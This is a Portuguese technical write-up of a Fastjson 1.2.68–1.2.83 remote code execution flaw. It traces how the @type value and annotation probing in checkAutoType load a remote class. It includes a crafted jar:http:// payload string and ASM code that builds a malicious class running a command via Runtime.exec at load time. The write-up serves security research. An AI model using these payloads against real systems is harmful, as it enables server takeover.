
Análise detalhada do CVE-2026-16723 e kit de exploração para RCE no Fastjson 1.2.83, cobrindo caminhos de código vulneráveis, geração de JAR/bytecode malicioso e um ambiente Docker Compose para reproduzir o ataque.
Aviso legal: Este projeto destina-se exclusivamente a pesquisa de segurança e fins de aprendizagem em ambientes autorizados. É proibido testar sistemas não autorizados; as consequências do uso são de responsabilidade exclusiva do usuário.
CVSS 9.0, afeta Fastjson 1.2.68 ~ 1.2.83. Não é necessário ativar o AutoType, nem Gadget de terceiros; a configuração padrão já permite a exploração.
O ponto de entrada da vulnerabilidade está em com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Independentemente de a chamada ser JSON.parse(body) ou JSON.parseObject(body, Foo.class), o fluxo sempre acaba entrando nesse método.
Caminho crítico do código (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
O switch AutoType (autoTypeSupport) controla apenas ① se entra, mas ② a detecção de anotações é executada incondicionalmente. Assim que jsonType em ② se torna true, ③ o carregamento de tipo e ④ a omissão da verificação de segurança serão acionados sucessivamente.
String resource = typeName.replace('.', '/') + ".class";
typeName é o valor de @type no JSON, totalmente controlável pelo atacante. A intenção original era converter com.example.Foo em com/example/Foo.class, mas quando a entrada é uma URL, isso se torna um construtor de URL.
Como o . no hostname também é substituído, o atacante usa IPs inteiros para contornar. O inteiro sem sinal de 32 bits de 127.0.0.1 é 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //,.probe! → /probe!/,obtendo um localizador de recurso jar:http:// válido.
is = defaultClassLoader.getResourceAsStream(resource);
Se getResourceAsStream consegue resolver jar:http:// como um recurso remoto depende inteiramente do tipo de ClassLoader:
| ClassLoader | Comportamento |
|---|---|
JDK AppClassLoader | procura apenas no classpath local → null |
Tomcat WebappClassLoader (WAR independente) | procura apenas em WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | suporta jar:http:// → sai por HTTP para buscar o bytecode |
Há aqui um ponto que facilmente causa confusão: quando o Tomcat está embutido no Spring Boot, o ClassLoader das classes da aplicação é o LaunchedURLClassLoader e não o WebappClassLoader. Portanto, o Tomcat/Jetty/Undertow embutidos estão todos dentro do âmbito afetado.
Quando is != null, o bytecode da classe remota hospedada pelo atacante já entrou na memória da JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson usa ASM para escanear o bytecode e verificar se ele contém a anotação @com.alibaba.fastjson.annotation.JSONType. O objetivo de design era a otimização de desempenho — identificar rapidamente, por meio da anotação, os tipos gerenciados pelo Fastjson. Porém, aqui apenas se verifica se a anotação existe, sem validar a origem do bytecode, sem verificar o nome da classe e sem restringir a origem. Basta que a class remota do atacante carregue @JSONType para obter a determinação jsonType=true.
Observe que catch (Exception e) {} está vazio — o atacante não receberá nenhum erro.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true já satisfaz a condição. loadClass segue o fluxo padrão de carregamento de classes, registrando o bytecode como um objeto Class da JVM através de defineClass.
É necessário distinguir dois conceitos: defineClass conclui a definição da classe (registro na JVM), enquanto <clinit> é executado na fase de inicialização da classe. As duas fases podem ser concluídas dentro da mesma requisição, mas, segundo a especificação da JVM, elas são independentes.
if (jsonType) {
return clazz;
}
Esta linha ignora todas as defesas subsequentes:
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)Isso também explica por que parseObject(body, Dto.class) não consegue impedir: a verificação de vinculação de tipo ocorre após o carregamento da classe, enquanto o código de ataque já foi executado na fase de carregamento.
O atacante precisa gerar um arquivo de bytecode que satisfaça três condições: portar a anotação @JSONType, incorporar o código de ataque em <clinit> e ser hospedado via HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
A lógica maliciosa é acionada por meio de <clinit>, executada assim que a classe é carregada.
A essência desta cadeia é transformar a sondagem de anotações do Fastjson em um carregador de classes remoto. O atacante controla o valor de @type, constrói uma URL por meio de conversão de string, utiliza getResourceAsStream para iniciar um SSRF e buscar o bytecode, passa pela verificação da sonda ASM com a anotação @JSONType, conclui a definição da classe via loadClass e, por fim, contorna todas as verificações de segurança com return clazz.